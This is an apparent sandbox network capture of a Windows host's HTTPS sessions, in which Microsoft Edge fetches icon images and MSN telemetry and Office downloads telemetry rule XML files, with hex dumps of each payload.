2024-11-16 18:22:31 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49847	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:31 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:31 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:31 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 2a53edf8-b01e-0075-0942-38efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182231Z-1866b5c5fbbfkdfghC1DFW4sv4000000026000000000fuq3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:31 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49850	20.125.209.212	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	1261	OUT	GET /c.gif?rnd=1731781348341&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f28f8802731c4550a703f615bcd7ea64&activityId=f28f8802731c4550a703f615bcd7ea64&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FD86DEFD7D344959BF644E1D8EF91D44&MUID=3A4078140C106EC03F536D2D0D356F1D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3A4078140C106EC03F536D2D0D356F1D; _EDGE_S=F=1&SID=2D0C79B8880E64711C856C8189B965E7; _EDGE_V=1; SM=T
2024-11-16 18:22:32 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3A4078140C106EC03F536D2D0D356F1D; domain=.msn.com; expires=Thu, 11-Dec-2025 18:22:32 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3A4078140C106EC03F536D2D0D356F1D; domain=c.msn.com; expires=Thu, 11-Dec-2025 18:22:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 18:22:32 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 16-Nov-2024 18:32:32 GMT; path=/; SameSite=None; Secure; Date: Sat, 16 Nov 2024 18:22:31 GMT Connection: close Content-Length: 42
2024-11-16 18:22:32 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182232Z-16547b76f7fxqj4khC1DFWpypw00000000dg00000000466f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49857	13.107.246.45	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182232Z-164f84587bfm8kdnhC1DFWey4g00000003c0000000000068 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182232Z-16547b76f7fm8pcwhC1DFWaxcc000000018g0000000094se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182232Z-16547b76f7fx6rhxhC1DFW76kg0000000q2g000000001t8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182232Z-16547b76f7fmcv27hC1DFWgpcg00000001vg00000000nprg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49861	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:32 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182232Z-1866b5c5fbblmztchC1DFWs6v400000001s0000000007v8x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49862	13.107.246.57	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:32 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:32 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T182232Z-16547b76f7fgfpmjhC1DFWw6ec00000002n0000000009w5k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:32 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49863	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:32 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:32 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 16 Sep 2024 13:34:28 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: 52543383-0861-4d93-ae83-78584bccb7ca Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=199184 Expires: Tue, 19 Nov 2024 01:42:16 GMT Date: Sat, 16 Nov 2024 18:22:32 GMT Connection: close
2024-11-16 18:22:32 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
